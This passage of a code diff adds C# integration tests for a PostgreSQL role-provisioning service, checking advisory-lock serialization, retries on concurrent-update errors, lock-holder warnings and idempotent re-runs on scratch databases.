+            "darling", "darling", BootstrapSuperuser: true,
+            new System.Collections.Generic.Dictionary<string, string?>(), new[] { "operator_app" });
+        Assert.NotNull(DarlingManagedRoles.RefuseComposeStore(otherDatabase));
+        Assert.Null(DarlingManagedRoles.RefuseComposeStore(otherDatabase with { OtherDatabases = Array.Empty<string>() }));
+    }
+
+    [Fact]
+    public async Task TheReplayOfTheViewersGrants_LeavesTheClustersOwnDarlingDatabaseAlone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var role = "replay_ro_" + Guid.NewGuid().ToString("N")[..8];
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(connection, $"CREATE ROLE {role} NOLOGIN", ct);
+            var databaseLevel = ViewerGrantReplay.StatementsFor(role, scratch.DatabaseName)
+                .Where(x => x.Contains(" ON DATABASE ", StringComparison.Ordinal))
+                .ToList();
+            Assert.NotEmpty(databaseLevel);
+            foreach (var statement in databaseLevel)
+            {
+                await ExecAsync(connection, statement, ct);
+            }
+
+            /* The privilege landed on the test's own database, and the cluster's shared one never heard of the role. */
+            Assert.True(await ScalarBoolAsync(connection, $"SELECT has_database_privilege('{role}', '{scratch.DatabaseName}', 'CONNECT')", ct));
+            Assert.False(await ScalarBoolAsync(connection,
+                $"SELECT EXISTS (SELECT 1 FROM pg_database WHERE datname = 'darling' AND COALESCE(datacl::text, '') LIKE '%{role}=%')", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand($"DROP OWNED BY {role}; DROP ROLE IF EXISTS {role};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    [Fact]
+    public async Task ASecondProvisioningBatch_WaitsForTheFirst_InsteadOfFailingTupleConcurrentlyUpdated()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var suffix = Guid.NewGuid().ToString("N")[..8];
+        var siblingRole = "prov_a_" + suffix;
+        var ourRole = "prov_b_" + suffix;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var sibling = new NpgsqlConnection(scratch.ConnectionString);
+        await using var service = new NpgsqlConnection(scratch.ConnectionString);
+        await sibling.OpenAsync(ct);
+        await service.OpenAsync(ct);
+        var database = "\"" + scratch.DatabaseName.Replace("\"", "\"\"", StringComparison.Ordinal) + "\"";
+
+        NpgsqlTransaction? siblingTransaction = null;
+        var siblingOpen = false;
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(sibling, $"CREATE ROLE {siblingRole} NOLOGIN; CREATE ROLE {ourRole} NOLOGIN", ct);
+
+            /* A sibling service in the middle of ITS batch: it holds the provisioning lock and has rewritten the
+               database's ACL row, uncommitted. This is the whole race, made deterministic. */
+            siblingTransaction = await sibling.BeginTransactionAsync(ct);
+            siblingOpen = true;
+            await using (var hold = new NpgsqlCommand($"SELECT pg_advisory_xact_lock({DarlingManagedRoles.ProvisioningLockKey})", sibling, siblingTransaction))
+            {
+                await hold.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var grant = new NpgsqlCommand($"GRANT CONNECT ON DATABASE {database} TO {siblingRole}", sibling, siblingTransaction))
+            {
+                await grant.ExecuteNonQueryAsync(ct);
+            }
+
+            var ours = SerializedAsync(service, $"GRANT CONNECT ON DATABASE {database} TO {ourRole}", 60, ct);
+            await Task.Delay(TimeSpan.FromSeconds(1.5), ct);
+            Assert.False(ours.IsCompleted, "the second batch ran while the first held the provisioning lock");
+
+            await siblingTransaction.CommitAsync(ct);
+            siblingOpen = false;
+
+            /* Without the lock this throws PostgresException XX000 "tuple concurrently updated" here: the second GRANT
+               waited on the first's uncommitted row and then found it rewritten. */
+            await ours.WaitAsync(TimeSpan.FromSeconds(30), ct);
+
+            Assert.True(await ScalarBoolAsync(sibling, $"SELECT has_database_privilege('{siblingRole}', '{scratch.DatabaseName}', 'CONNECT')", ct));
+            Assert.True(await ScalarBoolAsync(sibling, $"SELECT has_database_privilege('{ourRole}', '{scratch.DatabaseName}', 'CONNECT')", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (siblingOpen && siblingTransaction is not null)
+            {
+                await siblingTransaction.RollbackAsync(CancellationToken.None);
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand(
+                    $"DROP OWNED BY {siblingRole}, {ourRole}; DROP ROLE IF EXISTS {siblingRole}; DROP ROLE IF EXISTS {ourRole};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    [Fact]
+    public async Task TheLockedTransaction_ReleasesTheLockOnItsOwn_SoTheNextBatchRunsAtOnce()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var role = "prov_c_" + Guid.NewGuid().ToString("N")[..8];
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* A batch that fails rolls back and frees the lock, then a good batch on the SAME pooled-style connection runs. */
+            await Assert.ThrowsAsync<PostgresException>(() => SerializedAsync(connection, "SELECT 1/0", 30, ct));
+            await SerializedAsync(connection, $"CREATE ROLE {role} NOLOGIN", 30, ct);
+            Assert.True(await ScalarBoolAsync(connection, $"SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{role}')", ct));
+            Assert.False(await ScalarBoolAsync(connection,
+                $"SELECT EXISTS (SELECT 1 FROM pg_locks WHERE locktype = 'advisory' AND pid = pg_backend_pid())", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand($"DROP ROLE IF EXISTS {role};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>
+    /// The provisioning key held by a session that has nothing but the right to connect (#5560): a login with no
+    /// privilege on anything, in another session, application name set, with the key taken at SESSION level so it stays
+    /// held until the session ends. Returns the session and its pid.
+    /// </summary>
+    internal static async Task<(NpgsqlConnection Session, int Pid)> HoldTheKeyAsync(
+        ScratchPostgres scratch, string login, string application, CancellationToken ct)
+    {
+        var holder = new NpgsqlConnection(LoginConnectionString(scratch, login, application));
+        await holder.OpenAsync(ct);
+        await ExecAsync(holder, $"SELECT pg_advisory_lock({DarlingManagedRoles.ProvisioningLockKey})", ct);
+        await using var pid = new NpgsqlCommand("SELECT pg_backend_pid()", holder);
+        return (holder, (int)(await pid.ExecuteScalarAsync(ct))!);
+    }
+
+    internal static string LoginConnectionString(ScratchPostgres scratch, string login, string application) =>
+        new NpgsqlConnectionStringBuilder(scratch.ConnectionString)
+        {
+            Username = login,
+            Password = null,
+            ApplicationName = application,
+            Pooling = false,
+        }.ConnectionString;
+
+    internal static async Task SerializedAsync(NpgsqlConnection connection, string sql, int timeoutSeconds, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = timeoutSeconds };
+        await DarlingManagedRoles.ExecuteSerializedAsync(command, NullLogger.Instance, ct);
+    }
+
+    [Fact]
+    public async Task AKeyHeldPastTheWait_GivesOneWarningNamingTheHolder_AndTheBatchStillRuns()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var suffix = Guid.NewGuid().ToString("N")[..8];
+        var holderLogin = "prov_hold_" + suffix;
+        var ourRole = "prov_free_" + suffix;
+        var application = "prov_held_" + suffix;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var service = new NpgsqlConnection(scratch.ConnectionString);
+        await service.OpenAsync(ct);
+        var database = "\"" + scratch.DatabaseName.Replace("\"", "\"\"", StringComparison.Ordinal) + "\"";
+
+        NpgsqlConnection? holder = null;
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(service, $"CREATE ROLE {holderLogin} LOGIN; CREATE ROLE {ourRole} NOLOGIN", ct);
+            var held = await HoldTheKeyAsync(scratch, holderLogin, application, ct);
+            holder = held.Session;
+
+            /* The login that holds the key can do nothing in this database but connect, and it is not a superuser. */
+            Assert.False(await ScalarBoolAsync(service, $"SELECT rolsuper OR rolcreaterole OR rolcreatedb FROM pg_roles WHERE rolname = '{holderLogin}'", ct));
+
+            var log = new CapturingTestLogger();
+            var wait = TimeSpan.FromSeconds(3);
+            var clock = System.Diagnostics.Stopwatch.StartNew();
+            await DarlingManagedRoles.ExecuteSerializedAsync(
+                service,
+                (transaction, _) => Task.FromResult<NpgsqlCommand?>(
+                    new NpgsqlCommand($"GRANT CONNECT ON DATABASE {database} TO {ourRole}", service, transaction) { CommandTimeout = 10 }),
+                log, ct, wait);
+            clock.Stop();
+
+            /* The wait ran its whole budget, then the batch ran without the key: the old blocking acquire sat behind the
+               holder until the command timeout and threw. */
+            Assert.True(clock.Elapsed >= wait - TimeSpan.FromMilliseconds(500), $"gave up the wait after {clock.Elapsed}");
+            Assert.True(clock.Elapsed < wait + TimeSpan.FromSeconds(20), $"took {clock.Elapsed}");
+            Assert.True(await ScalarBoolAsync(service, $"SELECT has_database_privilege('{ourRole}', '{scratch.DatabaseName}', 'CONNECT')", ct));
+
+            Assert.Equal(1, log.CountAtLevel(LogLevel.Warning));
+            var warning = Assert.Single(log.Lines, x => x.StartsWith("Warning:", StringComparison.Ordinal));
+            Assert.Contains("4441524C524F4C45", warning, StringComparison.Ordinal);
+            Assert.Contains($"pid {held.Pid}", warning, StringComparison.Ordinal);
+            Assert.Contains($"user '{holderLogin}'", warning, StringComparison.Ordinal);
+            Assert.Contains($"application '{application}'", warning, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (holder is not null)
+            {
+                await holder.DisposeAsync();
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand(
+                    $"DROP OWNED BY {holderLogin}, {ourRole}; DROP ROLE IF EXISTS {holderLogin}; DROP ROLE IF EXISTS {ourRole};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task AWriteThatFailsXx000_IsRunAgainInAFreshTransaction_WithOrWithoutTheKey(bool someoneHoldsTheKey)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var suffix = Guid.NewGuid().ToString("N")[..8];
+        var holderLogin = "prov_hold_" + suffix;
+        var role = "prov_retry_" + suffix;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+
+        /* The product's connection comes from a data source, so this one does too. Npgsql closes the connection on an
+           XX-class error, so the retry only works if the helper opens it again. */
+        await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var service = await dataSource.OpenConnectionAsync(ct);
+
+        NpgsqlConnection? holder = null;
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(service, $"CREATE ROLE {holderLogin} LOGIN", ct);
+            if (someoneHoldsTheKey)
+            {
+                holder = (await HoldTheKeyAsync(scratch, holderLogin, "prov_held_" + suffix, ct)).Session;
+            }
+
+            /* The first run creates the role and then fails the way a sibling's concurrent rewrite does. If the retry did
+               not start from a rolled-back transaction, its CREATE ROLE would fail "already exists". */
+            var attempts = 0;
+            var log = new CapturingTestLogger();
+            await DarlingManagedRoles.ExecuteSerializedAsync(
+                service,
+                (transaction, _) =>
+                {
+                    attempts++;
+                    var sql = attempts == 1
+                        ? $"CREATE ROLE {role} NOLOGIN; DO $$ BEGIN RAISE EXCEPTION 'tuple concurrently updated' USING ERRCODE = 'XX000'; END $$"
+                        : $"CREATE ROLE {role} NOLOGIN";
+                    return Task.FromResult<NpgsqlCommand?>(new NpgsqlCommand(sql, service, transaction) { CommandTimeout = 10 });
+                },
+                log, ct, TimeSpan.FromSeconds(1));
+
+            Assert.Equal(2, attempts);
+            Assert.True(await ScalarBoolAsync(service, $"SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = '{role}')", ct));
+            Assert.Equal(someoneHoldsTheKey ? 1 : 0, log.CountAtLevel(LogLevel.Warning));
+            Assert.Contains(log.Lines, x => x.Contains("retry 1 of 2", StringComparison.Ordinal));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (holder is not null)
+            {
+                await holder.DisposeAsync();
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand(
+                    $"DROP OWNED BY {holderLogin}; DROP ROLE IF EXISTS {holderLogin}; DROP ROLE IF EXISTS {role};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    /* A rerun is right for each retried code: the batch is idempotent and the failed transaction rolled back, so the
+       rerun sees the row the other session made (the role exists, so the existence check skips the create). */
+    [Theory]
+    [InlineData("XX000")]
+    [InlineData("23505")]
+    [InlineData("42710")]
+    [InlineData("40P01")]
+    public void AConcurrentWriteFailure_IsRetried(string sqlState)
+    {
+        Assert.True(DarlingManagedRoles.IsConcurrentProvisioningConflict(
+            new PostgresException("failed", "ERROR", "ERROR", sqlState)));
+    }
+
+    [Theory]
+    [InlineData("42501")]
+    [InlineData("57014")]
+    [InlineData("22012")]
+    public void AnyOtherFailure_IsNotRetried(string sqlState)
+    {
+        Assert.False(DarlingManagedRoles.IsConcurrentProvisioningConflict(
+            new PostgresException("failed", "ERROR", "ERROR", sqlState)));
+    }
+
+    [Fact]
+    public async Task AWriteThatKeepsFailingXx000_IsRunThreeTimesThenThrows_AndAnyOtherErrorIsNotRetried()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var service = new NpgsqlConnection(scratch.ConnectionString);
+        await service.OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            var attempts = 0;
+            var failure = await Assert.ThrowsAsync<PostgresException>(() => DarlingManagedRoles.ExecuteSerializedAsync(
+                service,
+                (transaction, _) =>
+                {
+                    attempts++;
+                    return Task.FromResult<NpgsqlCommand?>(new NpgsqlCommand(
+                        "DO $$ BEGIN RAISE EXCEPTION 'tuple concurrently updated' USING ERRCODE = 'XX000'; END $$", service, transaction));
+                },
+                NullLogger.Instance, ct));
+            Assert.Equal("XX000", failure.SqlState);
+            Assert.Equal(1 + DarlingManagedRoles.ProvisioningConcurrentUpdateRetries, attempts);
+
+            /* The last failure left the connection closed (see above); a plain error is thrown at once and not retried. */
+            await service.OpenAsync(ct);
+            var other = 0;
+            var divide = await Assert.ThrowsAsync<PostgresException>(() => DarlingManagedRoles.ExecuteSerializedAsync(
+                service,
+                (transaction, _) =>
+                {
+                    other++;
+                    return Task.FromResult<NpgsqlCommand?>(new NpgsqlCommand("SELECT 1/0", service, transaction));
+                },
+                NullLogger.Instance, ct));
+            Assert.Equal("22012", divide.SqlState);
+            Assert.Equal(1, other);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task ThePlanningCallback_RunsAfterTheLockIsTaken_AndInsideTheLockedTransaction()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var sibling = new NpgsqlConnection(scratch.ConnectionString);
+        await using var service = new NpgsqlConnection(scratch.ConnectionString);
+        await sibling.OpenAsync(ct);
+        await service.OpenAsync(ct);
+
+        NpgsqlTransaction? siblingTransaction = null;
+        var siblingOpen = false;
+        var bodySucceeded = false;
+        try
+        {
+            siblingTransaction = await sibling.BeginTransactionAsync(ct);
+            siblingOpen = true;
+            await using (var hold = new NpgsqlCommand($"SELECT pg_advisory_xact_lock({DarlingManagedRoles.ProvisioningLockKey})", sibling, siblingTransaction))
+            {
+                await hold.ExecuteNonQueryAsync(ct);
+            }
+
+            var planned = 0;
+            var holdingInsideTheCallback = false;
+            var ours = DarlingManagedRoles.ExecuteSerializedAsync(
+                service,
+                async (transaction, token) =>
+                {
+                    planned++;
+                    await using var check = new NpgsqlCommand(
+                        $"SELECT EXISTS (SELECT 1 FROM pg_locks WHERE locktype = 'advisory' AND granted AND pid = pg_backend_pid() AND objid = {DarlingManagedRoles.ProvisioningLockKey & 0xFFFFFFFFL})",
+                        service, transaction);
+                    holdingInsideTheCallback = (bool)(await check.ExecuteScalarAsync(token))!;
+                    return null;
+                },
+                NullLogger.Instance, ct);
+            await Task.Delay(TimeSpan.FromSeconds(1.5), ct);
+            Assert.Equal(0, planned);
+            Assert.False(ours.IsCompleted, "the planning callback ran, or the write finished, while a sibling held the lock");
+
+            await siblingTransaction.CommitAsync(ct);
+            siblingOpen = false;
+            await ours.WaitAsync(TimeSpan.FromSeconds(30), ct);
+
+            Assert.Equal(1, planned);
+            Assert.True(holdingInsideTheCallback, "the planning callback did not run while holding the lock");
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (siblingOpen && siblingTransaction is not null)
+            {
+                await siblingTransaction.RollbackAsync(CancellationToken.None);
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AReadThatFailsInsideTheLockedTransaction_AndIsAnsweredWithADefault_DoesNotPoisonTheBatch()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning-serialization pins (each mints its own scratch database and role).");
+        var ct = TestContext.Current.CancellationToken;
+        var suffix = Guid.NewGuid().ToString("N")[..8];
+        var login = "prov_reader_" + suffix;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, $"CREATE ROLE {login} LOGIN", ct);
+
+            /* The scratch store has no config schema: the timeout read and the rules check both fail on a missing relation
+               and answer with a default; the batch after them must still run (and commit) in the same transaction. */
+            var log = new CapturingTestLogger();
+            int? timeout = null;
+            var inPlace = true;
+            var ran = false;
+            await DarlingManagedRoles.ExecuteSerializedAsync(
+                owner,
+                async (transaction, token) =>
+                {
+                    timeout = await DarlingManagedRoles.ReadComposeStatementTimeoutAsync(owner, transaction, log, token);
+                    inPlace = await DarlingManagedRoles.ServerPasswordRulesAreInPlaceAsync(owner, transaction, token);
+                    ran = true;
+                    return new NpgsqlCommand($"ALTER ROLE {login} SET statement_timeout = '7s'", owner, transaction);
+                },
+                log, ct);
+            Assert.True(ran);
+            Assert.False(inPlace);
+            Assert.Equal(McpCommandDeadlines.ComposedQueryFallbackSeconds, timeout);
+            Assert.True(await ScalarBoolAsync(owner, $"SELECT EXISTS (SELECT 1 FROM pg_db_role_setting s JOIN pg_roles r ON r.oid = s.setrole WHERE r.rolname = '{login}' AND s.setconfig::text LIKE '%7s%')", ct));
+
+            /* And the stored-verifier read, refused to a login that may not read pg_authid, answers empty. */
+            await using var reader = new NpgsqlConnection(LoginConnectionString(scratch, login, "prov_reader_" + suffix));
+            await reader.OpenAsync(ct);
+            var stored = new System.Collections.Generic.Dictionary<string, string?>();
+            var batchRan = false;
+            await DarlingManagedRoles.ExecuteSerializedAsync(
+                reader,
+                async (transaction, token) =>
+                {
+                    stored = await DarlingManagedRoles.ReadStoredRoleSecretsAsync(reader, transaction, log, token);
+                    batchRan = true;
+                    return new NpgsqlCommand("SELECT 1", reader, transaction);
+                },
+                log, ct);
+            Assert.Empty(stored);
+            Assert.True(batchRan);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand($"DROP OWNED BY {login}; DROP ROLE IF EXISTS {login};", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<bool> ScalarBoolAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
+
+/* The real batch creates the cluster-wide admin/viewer/mcp roles, so this class shares the live-postgres collection with
+   the other classes that do (PasswordKeyTablesLiveTests, DarlingSecuritySplitLiveTests) and runs after or before them,
+   never beside them. */
+
+/// <summary>
+/// The product's real provisioning batch, run through the locked transaction (#5560) the way the service runs it, on a
+/// scratch store: it must apply in full inside one explicit transaction (nothing in it may need to run outside one), and
+/// it must be re-runnable, since a second service re-runs it right after the first.
+/// </summary>
+[Collection("pg-cluster-roles")]
+public sealed class ProvisioningBatchLockedTransactionLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task TheRealBatch_AppliesInsideTheLockedTransaction_AndAppliesAgain()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning batch pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PerformanceMonitor.Darling.Storage.PgMigrations.MigrateAsync(owner, ct);
+        await using (var probe = new NpgsqlCommand("SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", owner))
+        {
+            Assert.SkipWhen((bool)(await probe.ExecuteScalarAsync(ct))!,
+                "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            var ownerRole = new NpgsqlConnectionStringBuilder(owner.ConnectionString).Username ?? "darling";
+            var batch = DarlingManagedRoles.BuildProvisioningSql(
+                ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                15, PasswordReassert.All, ProvisioningTarget.ComposeStore(ownerRole, scratch.DatabaseName));
+
+            await ProvisioningSerializationTests.SerializedAsync(owner, batch, 60, ct);
+            await ProvisioningSerializationTests.SerializedAsync(owner, batch, 60, ct);
+
+            await using var roles = new NpgsqlCommand("SELECT count(*) FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp')", owner);
+            Assert.Equal(3L, (long)(await roles.ExecuteScalarAsync(ct))!);
+            await using var connect = new NpgsqlCommand($"SELECT has_database_privilege('viewer', '{scratch.DatabaseName}', 'CONNECT')", owner);
+            Assert.True((bool)(await connect.ExecuteScalarAsync(ct))!);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand(
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>
+    /// A login with nothing but CONNECT holds the provisioning key for the whole test (#5560). Provisioning must still
+    /// complete: each run waits out its budget, logs one warning naming the holder, then runs the real batch without the
+    /// key. The batch runs twice that way, which is also the proof that it is safe to run twice outside the lock (the
+    /// retry after a concurrent-update failure, and a sibling that gave up waiting, both do exactly that).
+    /// </summary>
+    [Fact]
+    public async Task AHeldKey_DoesNotStopTheRealBatch_ItRunsWithoutTheKey_TwiceInARow()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the live provisioning batch pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var holderLogin = "prov_hold_" + Guid.NewGuid().ToString("N")[..8];
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PerformanceMonitor.Darling.Storage.PgMigrations.MigrateAsync(owner, ct);
+        await using (var probe = new NpgsqlCommand("SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", owner))
+        {
+            Assert.SkipWhen((bool)(await probe.ExecuteScalarAsync(ct))!,
+                "A cluster-wide admin/viewer/mcp role already exists on this cluster; the provisioning batch would adopt it.");
+        }
+
+        NpgsqlConnection? holder = null;
+        var bodySucceeded = false;
+        try
+        {
+            await using (var create = new NpgsqlCommand($"CREATE ROLE {holderLogin} LOGIN", owner))
+            {
+                await create.ExecuteNonQueryAsync(ct);
+            }
+
+            var held = await ProvisioningSerializationTests.HoldTheKeyAsync(scratch, holderLogin, "prov_held_" + holderLogin, ct);
+            holder = held.Session;
+
+            var ownerRole = new NpgsqlConnectionStringBuilder(owner.ConnectionString).Username ?? "darling";
+            var log = new CapturingTestLogger();
+            var wait = TimeSpan.FromSeconds(2);
+            var clock = System.Diagnostics.Stopwatch.StartNew();
+            for (var run = 1; run <= 2; run++)
+            {
+                await DarlingManagedRoles.ExecuteSerializedAsync(
+                    owner,
+                    (transaction, _) => Task.FromResult<NpgsqlCommand?>(new NpgsqlCommand(
+                        DarlingManagedRoles.BuildProvisioningSql(
+                            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                            15, PasswordReassert.All, ProvisioningTarget.ComposeStore(ownerRole, scratch.DatabaseName)),
+                        owner, transaction) { CommandTimeout = 60 }),
+                    log, ct, wait);
+                Assert.Equal(run, log.CountAtLevel(LogLevel.Warning));
+            }
+
+            clock.Stop();
+            Assert.True(clock.Elapsed >= 2 * wait - TimeSpan.FromSeconds(1), $"the waits were cut short: {clock.Elapsed}");
+            Assert.True(clock.Elapsed < 2 * wait + TimeSpan.FromSeconds(90), $"provisioning took {clock.Elapsed}");
+            Assert.All(log.Lines.Where(x => x.StartsWith("Warning:", StringComparison.Ordinal)), x => Assert.Contains($"pid {held.Pid}", x, StringComparison.Ordinal));
+
+            await using var roles = new NpgsqlCommand("SELECT count(*) FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp')", owner);
+            Assert.Equal(3L, (long)(await roles.ExecuteScalarAsync(ct))!);
+            await using var connect = new NpgsqlCommand($"SELECT has_database_privilege('viewer', '{scratch.DatabaseName}', 'CONNECT')", owner);
+            Assert.True((bool)(await connect.ExecuteScalarAsync(ct))!);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            if (holder is not null)
+            {
+                await holder.DisposeAsync();
+            }
+
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var drop = new NpgsqlCommand(
+                    $"DROP OWNED BY admin, viewer, mcp, {holderLogin}; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp; DROP ROLE IF EXISTS {holderLogin}", cleanup);
+                await drop.ExecuteNonQueryAsync(cleanupCt);
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PublicConnectCatalogReadLiveTests.cs b/Darling/Darling.Tests/PublicConnectCatalogReadLiveTests.cs
new file mode 100644
index 0000000000..cd5a7bc4dd
--- /dev/null
+++ b/Darling/Darling.Tests/PublicConnectCatalogReadLiveTests.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Threading.Tasks;
+using Npgsql;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The PUBLIC-CONNECT guard against a real cluster (#5618): its catalog read sees a database's PUBLIC CONNECT granted,
